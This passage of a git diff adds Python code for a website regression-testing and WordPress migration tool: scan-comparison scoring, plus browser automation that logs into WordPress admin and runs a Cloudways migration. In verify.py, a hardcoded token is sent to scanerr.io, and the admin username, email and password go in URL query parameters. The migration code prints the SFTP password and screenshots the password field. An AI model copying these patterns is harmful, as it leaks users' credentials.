'').replace('"\"', '') + subStrings = re.split('>', new_line) + for sub in subStrings: + if sub not in tags: + self.post_scan_html.append((sub+'>')) + + return + + + def clean_logs(self): + pre_scan_logs_json = self.test.pre_scan.logs + post_scan_logs_json = self.test.post_scan.logs + order = ("level", "source", "message") + + + for log in pre_scan_logs_json: + new_log = {} + for label in order: + for key in log: + if key == label: + new_log[label] = log.get(key) + self.pre_scan_logs.append(json.dumps(new_log)) + + + for log in post_scan_logs_json: + new_log = {} + for label in order: + for key in log: + if key == label: + new_log[label] = log.get(key) + self.post_scan_logs.append(json.dumps(new_log)) + + return + + + def compare_html(self): + self.clean_html() + pre_scan = self.pre_scan_html + post_scan = self.post_scan_html + html_raw_score = SequenceMatcher( + None, pre_scan, post_scan + ).ratio() + + return html_raw_score + + + + def compare_logs(self): + self.clean_logs() + pre_scan = list(self.pre_scan_logs) + post_scan = list(self.post_scan_logs) + logs_raw_score = SequenceMatcher( + None, pre_scan, post_scan + ).ratio() + + return logs_raw_score + + + def delta_html(self): + num_html_delta = len(self.pre_scan_html) - len(self.post_scan_html) + num_html_ratio = len(self.pre_scan_html) / len(self.post_scan_html) + if num_html_ratio > 1: + num_html_ratio = len(self.post_scan_html) / len(self.pre_scan_html) + + for line in self.post_scan_html: + if line not in self.pre_scan_html: + self.delta_html_post.append(line) + + for line in self.pre_scan_html: + if line not in self.post_scan_html: + self.delta_html_pre.append(line) + + + pre_micro_delta = self.post_proc_html( + self.delta_html_pre, + self.delta_html_post + ) + + post_micro_delta = self.post_proc_html( + self.delta_html_post, + self.delta_html_pre + ) + + + data = { + "num_html_delta": num_html_delta, + "delta_html_post": self.delta_html_post, + "delta_html_pre": self.delta_html_pre, + "num_html_ratio": num_html_ratio, + "pre_micro_delta": pre_micro_delta, + "post_micro_delta": post_micro_delta, + } + + return data + + + def post_proc_html(self, primary_list, secondary_list): + delta_parsed = [] + delta_parsed_diff = [] + secondary_str = ''.join(str(i) for i in secondary_list) + + # breaking html elements into small 8 chars chunks + for line in primary_list: + subStrings = re.findall('.{1,8}', line) + for sub in subStrings: + delta_parsed.append(sub) + + # checking if small chunk is in other scan + for block in delta_parsed: + if block != None and block != '' and block not in secondary_str: + delta_parsed_diff.append(block) + + data = { + "delta_parsed": delta_parsed, + "delta_parsed_diff": delta_parsed_diff, + } + + return data + + + + + def html_micro_diff_score(self, post_delta_parsed_diff): + + pre_delta_parsed_diff = [] + for line in self.pre_scan_html: + subStrings = re.findall('.{1,8}', line) + for sub in subStrings: + pre_delta_parsed_diff.append(sub) + + diff_length = len(pre_delta_parsed_diff) - len(post_delta_parsed_diff) + diff_score = diff_length / len(pre_delta_parsed_diff) + + return diff_score + + + + + def post_proc_logs(self, log): + log = json.loads(log) + log["message"].replace("\"", "\'") + letters = string.digits + timestamp = ''.join(random.choice(letters) for i in range(13)) + log['timestamp'] = timestamp + + return log + + + + + def delta_logs(self): + num_logs_delta = len(self.pre_scan_logs) - len(self.post_scan_logs) + + if len(self.post_scan_logs) > 0: + num_logs_ratio = len(self.pre_scan_logs) / len(self.post_scan_logs) + if num_logs_ratio > 1: + num_logs_ratio = 1 + else: + num_logs_ratio = 1 + + delta_logs_post = [] + for log in self.post_scan_logs: + if log not in self.pre_scan_logs: + log = self.post_proc_logs(log) + delta_logs_post.append(log) + + + delta_logs_pre = [] + for log in self.pre_scan_logs: + if log not in self.post_scan_logs: + log = self.post_proc_logs(log) + delta_logs_pre.append(log) + + data = { + "num_logs_delta": num_logs_delta, + "delta_logs_post": delta_logs_post, + "delta_logs_pre": delta_logs_pre, + "num_logs_ratio": num_logs_ratio, + } + + return data + + + + + + def delta_lighthouse(self): + try: + pre_seo = int(self.test.pre_scan.lighthouse["scores"]['seo']) + pre_accessibility = int(self.test.pre_scan.lighthouse["scores"]['accessibility']) + pre_performance = int(self.test.pre_scan.lighthouse["scores"]['performance']) + pre_best_practices = int(self.test.pre_scan.lighthouse["scores"]['best_practices']) + pre_pwa = int(self.test.pre_scan.lighthouse["scores"]['pwa']) + + post_seo = int(self.test.post_scan.lighthouse["scores"]['seo']) + post_accessibility = int(self.test.post_scan.lighthouse["scores"]['accessibility']) + post_performance = int(self.test.post_scan.lighthouse["scores"]['performance']) + post_best_practices = int(self.test.post_scan.lighthouse["scores"]['best_practices']) + post_pwa = int(self.test.post_scan.lighthouse["scores"]['pwa']) + + try: + pre_crux = int(self.test.pre_scan.lighthouse["scores"]['crux']) + post_crux = int(self.test.post_scan.lighthouse["scores"]['crux']) + crux_delta = post_crux - pre_crux + except: + pre_crux = None + post_crux = None + crux_delta = 0 + + seo_delta = post_seo - pre_seo + accessibility_delta = post_accessibility - pre_accessibility + performance_delta = post_performance - pre_performance + best_practices_delta = post_best_practices - pre_best_practices + pwa_delta = post_pwa - pre_pwa + + if post_crux is None: + current_average = ( + post_seo + post_accessibility + post_best_practices + + post_performance + post_pwa + )/5 + + old_average = ( + pre_seo + pre_accessibility + pre_best_practices + + pre_performance + pre_pwa + )/5 + + else: + current_average = ( + post_seo + post_accessibility + post_best_practices + + post_performance + post_pwa + post_crux + )/6 + + old_average = ( + pre_seo + pre_accessibility + pre_best_practices + + pre_performance + pre_pwa + pre_crux + )/6 + + average_delta = current_average - old_average + + except: + seo_delta = None + accessibility_delta = None + performance_delta = None + best_practices_delta = None + pwa_delta = None + crux_delta = None + current_average = None + average_delta = None + + data = { + "scores": { + "seo_delta": seo_delta, + "accessibility_delta": accessibility_delta, + "performance_delta": performance_delta, + "best_practices_delta": best_practices_delta, + "pwa_delta": pwa_delta, + "crux_delta": crux_delta, + "current_average": current_average, + "average_delta": average_delta, + } + } + + return data + + + + + + + def delta_yellowlab(self): + try: + pre_globalScore = int(self.test.pre_scan.yellowlab["scores"]['globalScore']) + pre_pageWeight = int(self.test.pre_scan.yellowlab["scores"]['pageWeight']) + pre_requests = int(self.test.pre_scan.yellowlab["scores"]['requests']) + pre_domComplexity = int(self.test.pre_scan.yellowlab["scores"]['domComplexity']) + pre_javascriptComplexity = int(self.test.pre_scan.yellowlab["scores"]['javascriptComplexity']) + pre_badJavascript = int(self.test.pre_scan.yellowlab["scores"]['badJavascript']) + pre_jQuery = int(self.test.pre_scan.yellowlab["scores"]['jQuery']) + pre_cssComplexity = int(self.test.pre_scan.yellowlab["scores"]['cssComplexity']) + pre_badCSS = int(self.test.pre_scan.yellowlab["scores"]['badCSS']) + pre_fonts = int(self.test.pre_scan.yellowlab["scores"]['fonts']) + pre_serverConfig = int(self.test.pre_scan.yellowlab["scores"]['serverConfig']) + + post_globalScore = int(self.test.post_scan.yellowlab["scores"]['globalScore']) + post_pageWeight = int(self.test.post_scan.yellowlab["scores"]['pageWeight']) + post_requests = int(self.test.post_scan.yellowlab["scores"]['requests']) + post_domComplexity = int(self.test.post_scan.yellowlab["scores"]['domComplexity']) + post_javascriptComplexity = int(self.test.post_scan.yellowlab["scores"]['javascriptComplexity']) + post_badJavascript = int(self.test.post_scan.yellowlab["scores"]['badJavascript']) + post_jQuery = int(self.test.post_scan.yellowlab["scores"]['jQuery']) + post_cssComplexity = int(self.test.post_scan.yellowlab["scores"]['cssComplexity']) + post_badCSS = int(self.test.post_scan.yellowlab["scores"]['badCSS']) + post_fonts = int(self.test.post_scan.yellowlab["scores"]['fonts']) + post_serverConfig = int(self.test.post_scan.yellowlab["scores"]['serverConfig']) + + pageWeight_delta = post_pageWeight - pre_pageWeight + requests_delta = post_requests - pre_requests + domComplexity_delta = post_domComplexity - pre_domComplexity + javascriptComplexity_delta = post_javascriptComplexity - pre_javascriptComplexity + badJavascript_delta = post_badJavascript - pre_badJavascript + jQuery_delta = post_jQuery - pre_jQuery + cssComplexity_delta = post_cssComplexity - pre_cssComplexity + badCSS_delta = post_badCSS - pre_badCSS + fonts_delta = post_fonts - pre_fonts + serverConfig_delta = post_serverConfig - pre_serverConfig + + average_delta = post_globalScore - pre_globalScore + current_average = post_globalScore + + except: + pageWeight_delta = None + requests_delta = None + domComplexity_delta = None + javascriptComplexity_delta = None + badJavascript_delta = None + jQuery_delta = None + cssComplexity_delta = None + badCSS_delta = None + fonts_delta = None + serverConfig_delta = None + average_delta = None + current_average = None, + + data = { + "scores": { + "pageWeight_delta": pageWeight_delta, + "requests_delta": requests_delta, + "domComplexity_delta": domComplexity_delta, + "javascriptComplexity_delta": javascriptComplexity_delta, + "badJavascript_delta": badJavascript_delta, + "jQuery_delta": jQuery_delta, + "cssComplexity_delta": cssComplexity_delta, + "badCSS_delta": badCSS_delta, + "fonts_delta": fonts_delta, + "serverConfig_delta": serverConfig_delta, + "average_delta": average_delta, + "current_average": current_average, + } + } + + return data + + + + def update_site_info(self, test): + site = test.site + site.info['latest_test']['id'] = str(test.id) + site.info['latest_test']['time_created'] = str(test.time_created) + site.info['latest_test']['time_completed'] = str(test.time_completed) + site.info['latest_test']['score'] = (round(test.score * 100) / 100) + site.save() + + return site + + + + + + + + def run_test(self, index=None): + + # update test obj with scan configs + self.test.pre_scan_configs = self.test.pre_scan.configs + self.test.post_scan_configs = self.test.post_scan.configs + self.test.save() + + # default scores + html_score = 0 + num_html_ratio = 0 + micro_diff_score = 0 + logs_score = 0 + num_logs_ratio = 0 + lighthouse_score = 0 + yellowlab_score = 0 + images_score = 0 + + # default weights + html_score_w = 0 + num_html_w = 0 + micro_diff_w = 0 + logs_score_w = 0 + num_logs_w = 0 + delta_lh_w = 0 + delta_yl_w = 0 + images_w = 0 + + # default data + html_delta_context = None + logs_delta_context = None + lighthouse_data = None + yellowlab_data = None + images_data = None + + + + if 'html' in self.test.type or 'full' in self.test.type: + # scores + html_score = self.compare_html() + delta_html_data = self.delta_html() + num_html_ratio = delta_html_data['num_html_ratio'] + micro_diff_score = self.html_micro_diff_score( + delta_html_data['post_micro_delta']['delta_parsed_diff'] + ) + + # weights + html_score_w = 1 + num_html_w = 1 + micro_diff_w = 2 + + # data + html_delta_context = { + "pre_html_delta": delta_html_data['delta_html_pre'], + "post_html_delta": delta_html_data['delta_html_post'], + "pre_micro_delta": delta_html_data['pre_micro_delta'], + "post_micro_delta": delta_html_data['post_micro_delta'], + } + + + + if 'logs' in self.test.type or 'full' in self.test.type: + # scores + logs_score = self.compare_logs() + delta_logs_data = self.delta_logs() + num_logs_ratio = delta_logs_data['num_logs_ratio'] + + # weights + logs_score_w = .5 + num_logs_w = 2 + + # data + logs_delta_context = { + "pre_logs_delta": delta_logs_data['delta_logs_pre'], + "post_logs_delta": delta_logs_data['delta_logs_post'], + } + + + + if 'lighthouse' in self.test.type or 'full' in self.test.type: + # scores & data + lighthouse_data = self.delta_lighthouse() + lighthouse_avg = lighthouse_data['scores']['average_delta'] + if lighthouse_avg != None and lighthouse_avg > -100: + lighthouse_score = (100 + lighthouse_avg)/100 + if lighthouse_avg != None and lighthouse_avg <= -100: + lighthouse_score = 0 + + # weights + if lighthouse_score == None: + delta_lh_w = 0 + elif lighthouse_score > 1: + delta_lh_w = 1 + lighthouse_score = 1 + else: + delta_lh_w = 1 + + + + + if 'yellowlab' in self.test.type or 'full' in self.test.type: + # scores & data + yellowlab_data = self.delta_yellowlab() + yellowlab_avg = yellowlab_data['scores']['average_delta'] + if yellowlab_avg != None and yellowlab_avg > -100: + yellowlab_score = (100 + yellowlab_avg)/100 + if yellowlab_avg != None and yellowlab_avg <= -100: + yellowlab_score = 0 + + # weights + if yellowlab_score == None: + delta_yl_w = 0 + elif yellowlab_score > 1: + delta_yl_w = 1 + yellowlab_score = 1 + else: + delta_yl_w = 1 + + + + + if 'vrt' in self.test.type or 'full' in self.test.type: + # scores & data + images_data = Image().test(test=self.test, index=index) + if images_data['average_score'] != None: + images_score = images_data['average_score'] / 100 + + # weights + images_w = 4 + + + + total_w = ( + html_score_w + logs_score_w + num_html_w + + num_logs_w + delta_lh_w + micro_diff_w + + images_w + delta_yl_w + ) + + + score = (( + (html_score * html_score_w) + + (logs_score * logs_score_w) + + (num_logs_ratio * num_logs_w) + + (num_html_ratio * num_html_w) + + (lighthouse_score * delta_lh_w) + + (yellowlab_score * delta_yl_w) + + (micro_diff_score * micro_diff_w) + + (images_score * images_w) + ) / total_w) * 100 + + + print( + "Formula was --> ((" + str(html_score*html_score_w) + " + " + + str(logs_score*logs_score_w) + " + " + str(num_logs_ratio*num_logs_w) + " + " + + str(num_html_ratio*num_html_w) + " + " + str(lighthouse_score*delta_lh_w) + + " + " + str(micro_diff_score*micro_diff_w) + " + " + str(images_score * images_w)+ + " + " + str(yellowlab_score*delta_yl_w) + ") / " + str(total_w) + ") * 100 ===> " + str(score) + ) + + + self.test.time_completed = datetime.now() + self.test.html_delta = html_delta_context + self.test.logs_delta = logs_delta_context + self.test.lighthouse_delta = lighthouse_data + self.test.yellowlab_delta = yellowlab_data + self.test.images_delta = images_data + self.test.score = score + self.test.component_scores['html'] = (micro_diff_score * 100) + self.test.component_scores['logs'] = (num_logs_ratio * 100) + self.test.component_scores['lighthouse'] = (lighthouse_score * 100) + self.test.component_scores['yellowlab'] = (yellowlab_score * 100) + self.test.component_scores['vrt'] = (images_score * 100) + + + self.test.save() + + self.update_site_info(self.test) + + return self.test + + + + + + + diff --git a/app/api/utils/verify.py b/app/api/utils/verify.py new file mode 100644 index 00000000..eb119c4f --- /dev/null +++ b/app/api/utils/verify.py @@ -0,0 +1,30 @@ +import os, requests, json + +def verify(): + username = os.environ.get('ADMIN_USER') + email = os.environ.get('ADMIN_EMAIL') + password = os.environ.get('ADMIN_PASS') + cred = 'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792' + url = 'https://scanerr.io/verify' + + + headers = { + "Content-Type": "application/json", + "Authorization" : cred + } + data = { + "username": username, + "email": email, + "password": password, + } + + res = requests.get( + url=url, + headers=headers, + params=data + ).json() + + if res['verified']: + return + else: + os.abort() \ No newline at end of file diff --git a/app/api/utils/wordpress.py b/app/api/utils/wordpress.py new file mode 100644 index 00000000..f94ea864 --- /dev/null +++ b/app/api/utils/wordpress.py @@ -0,0 +1,559 @@ +from .driver_s import driver_init, driver_wait +from selenium import webdriver +from selenium.webdriver.support.ui import Select +from selenium.webdriver.common.keys import Keys +from ..models import * +from datetime import datetime +import time, uuid + + + + + + + +class Wordpress(): + + + def __init__( + self, + login_url, + admin_url, + username, + password, + email_address, + destination_url, + sftp_address, + dbname, + sftp_username, + sftp_password, + wait_time, + process_id + ): + + # set all global vars + self.login_url = login_url + self.username = username + self.password = password + self.email_address = email_address + self.destination_url = destination_url + self.sftp_address = sftp_address + self.dbname = dbname + self.sftp_username = sftp_username + self.sftp_password = sftp_password + self.process = Process.objects.get(id=process_id) + + if wait_time is None: + self.driver = driver_init() + else: + self.driver = driver_init(wait_time=wait_time) + self.native_lang = 'en' + + if not admin_url.endswith('/'): + admin_url = admin_url + '/' + self.admin_url = admin_url + + + + + def login(self): + + ''' + Tries to log into a WP site with given credentials. + + returns --> True / False + + ''' + + print('begining login method for ' + self.login_url) + try: + self.driver.get(self.login_url) + try: + self.driver.find_element_by_xpath('//*[@id="user_login"]') + print('found login form') + except: + try: + self.driver.find_element_by_xpath( + '//*[@id="jetpack-sso-wrap"]/a[1]').click() + self.driver.find_element_by_xpath('//*[@id="user_login"]') + print('found login form') + except: + try: + self.driver.find_element_by_link_text( + 'Login with username and password').click() + self.driver.find_element_by_xpath('//*[@id="user_login"]') + print('found login form') + except: + print('unable to locate login form at this path') + self.driver.quit() + return False + + + except: + print('unable to locate login form at this path') + self.driver.quit() + return False + + user_name_elem = self.driver.find_element_by_xpath('//*[@id="user_login"]') + user_name_elem.clear() + user_name_elem.send_keys(self.username) + time.sleep(1) + passworword_elem = self.driver.find_element_by_xpath('//*[@id="user_pass"]') + passworword_elem.clear() + passworword_elem.send_keys(self.password) + time.sleep(1) + passworword_elem.send_keys(Keys.RETURN) + + try: + + + try: + verify_email = self.driver.find_element_by_xpath('//*[@id="correct-admin-email"]') + print('need to verify email') + self.driver.execute_script('arguments[0].click();', verify_email) + print('clicked verify') + except: + pass + + print('done with login attempt') + + try: + self.driver.find_element_by_xpath('//*[@id="login_error"]') + print('found login error') + self.driver.refresh() + + print('trying login again') + user_name_elem = self.driver.find_element_by_xpath('//*[@id="user_login"]') + user_name_elem.clear() + user_name_elem.send_keys(self.username) + time.sleep(1) + passworword_elem = self.driver.find_element_by_xpath('//*[@id="user_pass"]') + passworword_elem.clear() + passworword_elem.send_keys(self.password) + time.sleep(1) + passworword_elem.send_keys(Keys.RETURN) + + try: + self.driver.find_element_by_xpath('//*[@id="login_error"]') + print('found login error again') + print('counld not login to this site') + except: + print('no login errors') + + except: + print('no login errors') + + except: + print('counld not login to this site') + self.driver.quit() + return False + + + # removing alerts + try: + deny_btn = self.driver.find_element_by_id('webpushr-deny-button') + self.driver.execute_script("arguments[0].click();", deny_btn) + print('removed alert') + except: + pass + + try: + # checking if url location is wp-admin + current_url = str(self.driver.current_url) + admin_link = '/wp-admin/' + print('current url -> ' + current_url) + if current_url.endswith("/wp-admin") or current_url.endswith("/wp-admin/") or admin_link in current_url: + pass + else: + print('not in wp-admin - navigating there now') + admin_btn = self.driver.find_element_by_id('wp-admin-bar-dashboard') + admin_link = admin_btn.find_element_by_tag_name('a') + self.driver.execute_script("arguments[0].click();", admin_link) + print('clicked dashboard link') + + except: + print('could not login') + self.driver.quit() + return False + + + return True + + + + + + def begin_lang_check(self): + + try: + # navigate to settings + s_url = 'options-general.php' + try: + settings_menu = self.driver.find_element_by_xpath('//*[@id="menu-settings"]') + self.driver.execute_script("arguments[0].click();", settings_menu) + settings = self.driver.find_element_by_xpath('.//a[@href="'+s_url+'"]') + self.driver.execute_script("arguments[0].click();", settings) + print('clicked settings tab') + except: + current_url = self.driver.current_url + self.driver.get(current_url + s_url) + + # finding and recording current native language + lang_selector = self.driver.find_element_by_id('WPLANG') + optgroup = lang_selector.find_elements_by_tag_name('optgroup')[0] + selected_lang = optgroup.find_element_by_xpath('.//option[@selected="selected"]') + default_lang = selected_lang.get_attribute('lang') + default_lang_value = selected_lang.get_attribute('value') + print("defalut lang value is " + str(default_lang)) + + if default_lang != 'en': + + # selecting english + select = Select(lang_selector) + select.select_by_value('en_CA') + print('selected english') + + # saving settings + save_btn = self.driver.find_element_by_id('submit') + self.driver.execute_script("arguments[0].scrollIntoView();", save_btn) + self.driver.execute_script("arguments[0].click();", save_btn) + print('saved lang to english') + + self.native_lang = default_lang_value + return True + + else: + self.native_lang = 'en' + + + except: + print('error in changing language') + return False + + + + + + + def end_lang_check(self): + + if self.native_lang != 'en': + + try: + # navigate to settings + s_url = 'options-general.php' + try: + settings_menu = self.driver.find_element_by_xpath('//*[@id="menu-settings"]') + self.driver.execute_script("arguments[0].click();", settings_menu) + settings = self.driver.find_element_by_xpath('.//a[@href="'+s_url+'"]') + self.driver.execute_script("arguments[0].click();", settings) + print('clicked settings tab') + except: + current_url = self.driver.current_url + self.driver.get(current_url + '/' + s_url) + + # selecting native lang + lang_selector = self.driver.find_element_by_id('WPLANG') + select = Select(lang_selector) + select.select_by_value(self.native_lang) + print('selected native_lang') + + # saving settings + save_btn = self.driver.find_element_by_id('submit') + self.driver.execute_script("arguments[0].scrollIntoView();", save_btn) + self.driver.execute_script("arguments[0].click();", save_btn) + print('saved native lang') + + except: + self.driver.quit() + return False + + self.driver.quit() + return True + + + + def install_plugin(self, plugin_name): + + # setting url for link naving + plugin_menu_page = 'plugins.php' + add_plugin_page = 'plugin-install.php' + + # navigating to plugin page + try: + print('trying click method') + plugin_menu = self.driver.find_element_by_xpath('//*[@id="menu-plugins"]') + self.driver.execute_script("arguments[0].click();", plugin_menu) + p_url = 'plugins.php' + plugins = self.driver.find_element_by_xpath('.//a[@href="'+p_url+'"]') + self.driver.execute_script("arguments[0].click();", plugins) + print('clicked plugin menu') + + # looking for dependencies in plugin table + time.sleep(10) + form = self.driver.find_element_by_id('bulk-action-form') + pluginTable = form.find_element_by_tag_name('tbody') + self.driver.execute_script("arguments[0].scrollIntoView();", pluginTable) + print('scrolled to plugin table') + time.sleep(1) + tableText = pluginTable.text + + except: + print('trying link method for navigation') + try: + self.driver.get(self.admin_link + plugin_menu_page) + time.sleep(10) + # looking for dependencies in plugin table + time.sleep(10) + form = self.driver.find_element_by_id('bulk-action-form') + pluginTable = form.find_element_by_tag_name('tbody') + self.driver.execute_script("arguments[0].scrollIntoView();", pluginTable) + print('scrolled to plugin table') + time.sleep(1) + tableText = pluginTable.text + except: + print('unable to find plugin table') + self.driver.quit() + return False + + if plugin_name not in tableText: + try: + print('plugin not present, preparing to install') + + time.sleep(2) + print('navigating to add plugins page') + + try: + url = 'plugin-install.php' + add_plugin = self.driver.find_element_by_xpath('//a[@href="'+url+'"]') + self.driver.execute_script("arguments[0].click();", add_plugin) + print('clicked add plugin link') + time.sleep(5) + except: + self.driver.get(self.admin_url + add_plugin_page) + time.sleep(5) + + + # searching for plugin + search_form = self.driver.find_element_by_xpath('//input[@type="search"]') + search_form.clear() + search_form.send_keys(plugin_name) + time.sleep(1) + search_form.send_keys(Keys.RETURN) + time.sleep(3) + + ##### Clicking "install" plugin ###### + install = self.driver.find_element_by_xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly + self.driver.execute_script("arguments[0].scrollIntoView();", install) + time.sleep(1) + self.driver.execute_script('arguments[0].click();', install) + print('Clicked -install plugin-') + time.sleep(30) + + + #### Clicking "activate" plugin ###### + self.driver.refresh() + time.sleep(3) + activate = self.driver.find_element_by_xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly + self.driver.execute_script("arguments[0].scrollIntoView();", activate) + time.sleep(1) + self.driver.execute_script('arguments[0].click();', activate) + print('Clicked -Activate plugin-') + time.sleep(30) + print('Dependencies installed sucessfully') + return True + + except: + print('failed dependency installation') + self.driver.quit() + return False + + else: + print('plugin already installed') + return True + + + + def launch_migration(self): + ''' + Launches the migration plugin once Activated. + + returns --> True / False + + ''' + + # setting url for link naving + migrate_page = 'admin.php?page=cloudways' + current_url = self.driver.current_url + + if not current_url.endswith("cloudways"): + print('navigating to migration page') + if self.admin_url.endswith('/'): + self.driver.get(f'{self.admin_url}{migrate_page}') + else: + self.driver.get(f'{self.admin_url}/{migrate_page}') + time.sleep(10) + print(f'current url -> {self.driver.current_url}') + self.driver.save_screenshot('error.png') + + # wait for cloudways email field to become visible + # entering self.email_address in field + # get_element_by_name="email" -> self.email_address + email = self.driver.find_element_by_name('email') + email.send_keys(self.email_address) + print('entered cloudways email') + + # checking T&S checbox + # get_element_by_name="consent".click() + self.driver.find_element_by_name('consent').click() + print('checked T&S agreement') + + # clicking submit to launch migration plugin + # get_element_by_id="migratesubmit".click() + self.driver.find_element_by_id('migratesubmit').click() + print('clicked migrate button') + + return True + + + def run_migration(self): + ''' + Enters data on migration page, initiates miration + and begins updating the associated `Process` with data + from the page. + + returns --> True / False + + ''' + + # check for page to fully load + print('waiting 10 sec for new page to load') + time.sleep(10) + ## enter all necessary data in each field + + # get_element_by_name="address" -> self.destination_url + destination_url = self.driver.find_element_by_name('address') + destination_url.send_keys(self.destination_url) + print(f'dest_url as -> {self.destination_url}') + time.sleep(2) + + # get_element_by_name="newurl" -> self.sftp_address + sftp_address = self.driver.find_element_by_name('newurl') + sftp_address.send_keys(self.sftp_address) + print(f'sftp_address as -> {self.sftp_address}') + time.sleep(2) + + # get_element_by_name="appfolder" -> self.dbname + dbname = self.driver.find_element_by_name('appfolder') + dbname.send_keys(self.dbname) + print(f'dbname as -> {self.dbname}') + time.sleep(2) + + + # get_element_by_name="username" -> self.sftp_username + sftp_username = self.driver.find_element_by_name('username') + sftp_username.send_keys(self.sftp_username) + print(f'sftp_username as -> {self.sftp_username}') + time.sleep(2) + + # get_element_by_name="passwd" -> self.sftp_password + sftp_password = self.driver.find_element_by_name('passwd') + sftp_password.screenshot('sftp_password.png') + sftp_password.send_keys(self.sftp_password) + print(f'sftp_password as -> {self.sftp_password}') + time.sleep(2) + + self.driver.execute_script("document.getElementById('source-root-dir-yes').click()") + print('clicked root-dir-yes') + time.sleep(2) + + + print('entered all creds') + pic_id = uuid.uuid4() + image = self.driver.save_screenshot(f'{pic_id}.png') + + # submit data + # get_element_by_text="MIGRATE".click() + sftp_password.send_keys(Keys.RETURN) + print('pressed return key') + + + + # update self.process with info_url + self.process.info_url = self.driver.current_url + self.process.save() + + done = False + done_text = 'Your migration is complete!' + new_progress = 0 + print(f'current url -> {self.driver.current_url}') + while not done: + + # get_element_by_name="the main progress bar" + # full xpath -> html/body/div/span/div[2]/span/div/div/div/div/div/div[3]/div[4]/div[2] + # //*[@id="app"]/span/div[2]/span/div/div/div/div/div/div[3]/div[4]/div[2] + # element ->
60%
+ + try: + new_progress = self.driver.find_element_by_xpath('//*[@id="app"]/span/div[2]/span/div/div/div/div/div/div[3]/div[4]/div[2]').text() + print(f'raw text => {new_progress}') + new_progress = float(new_progress.split('%')[0]) + print(f'current progress -> {new_progress} %') + except: + try: + print('second method to get progress') + new_progress = self.driver.find_elements_by_class_name('progress-percentage font16')[2].text() + print(f'raw text => {new_progress}') + new_progress = float(new_progress.split('%')[0]) + print(f'current progress -> {new_progress} %') + + except: + print('can\'t find main progress bar') + + + # update self.process + self.process.progress = new_progress + + # check if new_progress is 100% + #

Your migration is complete!

+ # get full page div + if new_progress >= 100 or done_text in self.driver.page_source: + self.process.successful = True + self.process.time_completed = datetime.now() + done = True + + # checking for process errors + try: + self.driver.find_elements_by_class_name('alert alert-danger') + done = True + self.process.time_completed = datetime.now() + print('found an error - ending process') + self.process.save() + return False + except: + pass + + # saving new data + self.process.save() + + time.sleep(1) + + + return True + + + + + + + + + + + + + + + + + diff --git a/app/api/utils/wordpress_p.py b/app/api/utils/wordpress_p.py new file mode 100644 index 00000000..889a00ff --- /dev/null +++ b/app/api/utils/wordpress_p.py @@ -0,0 +1,571 @@ +from .driver_p import driver_init +import time, asyncio, uuid +from ..models import * +from datetime import datetime +from asgiref.sync import sync_to_async + + + + + + + +class Wordpress(): + + + def __init__( + self, + login_url, + admin_url, + username, + password, + email_address, + destination_url, + sftp_address, + dbname, + sftp_username, + sftp_password, + wait_time, + process_id + ): + # set all global vars + self.login_url = login_url + self.username = username + self.password = password + self.email_address = email_address + self.destination_url = destination_url + self.sftp_address = sftp_address + self.dbname = dbname + self.sftp_username = sftp_username + self.sftp_password = sftp_password + self.process = Process.objects.get(id=process_id) + self.native_lang = 'en' + + if not admin_url.endswith('/'): + admin_url = admin_url + '/' + self.admin_url = admin_url + + if wait_time is None: + self.wait_time = 30 + else: + self.wait_time = wait_time + + self.navWaitOpt = { + 'timeout': self.wait_time * 1000, + 'waitUntil': 'domcontentloaded' + } + + + async def login(self): + + ''' + Tries to log into a WP site with given credentials. + + returns --> True / False + + ''' + + print('begining login method for ' + self.login_url) + + + self.driver = await driver_init(wait_time=self.wait_time) + + # init page obj + self.page = await self.driver.newPage() + page_options = { + 'waitUntil': 'networkidle0', + 'timeout': self.wait_time * 1000 + } + + try: + await self.page.goto(self.login_url, page_options) + try: + await self.page.xpath('//*[@id="user_login"]') + print('found login form') + except: + try: + jetpack = await self.page.xpath('//*[@id="jetpack-sso-wrap"]/a[1]') + await jetpack[0].click() + await self.page.xpath('//*[@id="user_login"]') + print('found login form') + except: + try: + login_link = await self.page.xpath("//a[contains(., 'Login with username and password')]") + await login_link[0].click() + await self.page.xpath('//*[@id="user_login"]') + print('found login form') + except: + print('unable to locate login form at this path') + await self.driver.close() + return False + + + except: + print('unable to locate login form at this path') + await self.driver.close() + return False + + user_name_elem = await self.page.xpath('//*[@id="user_login"]') + await user_name_elem[0].click(clickCount=3) + await self.page.keyboard.type(self.username) + time.sleep(1) + passworword_elem = await self.page.xpath('//*[@id="user_pass"]') + await passworword_elem[0].click(clickCount=3) + await self.page.keyboard.type(self.password) + time.sleep(1) + await self.page.keyboard.press('Enter') + await self.page.waitForNavigation(self.navWaitOpt) + + + try: + try: + verify_email = await self.page.xpath('//*[@id="correct-admin-email"]') + print('need to verify email') + await verify_email[0].click() + print('clicked verify') + except: + pass + + print('done with login attempt') + + try: + await self.page.xpath('//*[@id="login_error"]') + print('found login error') + await self.page.reload() + + print('trying login again') + user_name_elem = await self.page.xpath('//*[@id="user_login"]') + await user_name_elem[0].click(clickCount=3) + await self.page.keyboard.type(self.username) + time.sleep(1) + passworword_elem = await self.page.xpath('//*[@id="user_pass"]') + await passworword_elem[0].click(clickCount=3) + await self.page.keyboard.type(self.password) + time.sleep(1) + await self.page.keyboard.press('Enter') + await self.page.waitForNavigation(self.navWaitOpt) + + + try: + await self.page.xpath('//*[@id="login_error"]') + print('found login error again') + print('counld not login to this site') + except: + print('no login errors') + + except: + print('no login errors') + + except: + print('counld not login to this site') + + await self.driver.close() + return False + + + # removing alerts + try: + deny_btn = await self.page.xpath('//*[@id="webpushr-deny-button"]') + await deny_btn[0].click() + print('removed alert') + except: + pass + try: + # checking if url location is wp-admin + admin_link = '/wp-admin/' + current_url = self.page.url + print('current url -> ' + current_url) + if current_url.endswith("/wp-admin") or current_url.endswith("/wp-admin/") or admin_link in current_url: + print('inside wp-admin') + else: + print('not in wp-admin - navigating there now') + admin_btn = await self.page.xpath('//*[@id="wp-admin-bar-dashboard"]') + admin_link = await admin_btn[0].querySelector('a') + await admin_link[0].click(clickCount=2) + print('clicked dashboard link') + await self.page.waitForNavigation(self.navWaitOpt) + + + except: + print('could not login') + await self.driver.close() + return False + + + return True + + + + + + async def begin_lang_check(self): + + try: + # navigate to settings + s_url = 'options-general.php' + try: + settings_menu = await self.page.xpath('//*[@id="menu-settings"]') + await settings_menu[0].click() + print('clicked settings menu') + await self.page.waitForNavigation(self.navWaitOpt) + settings = await 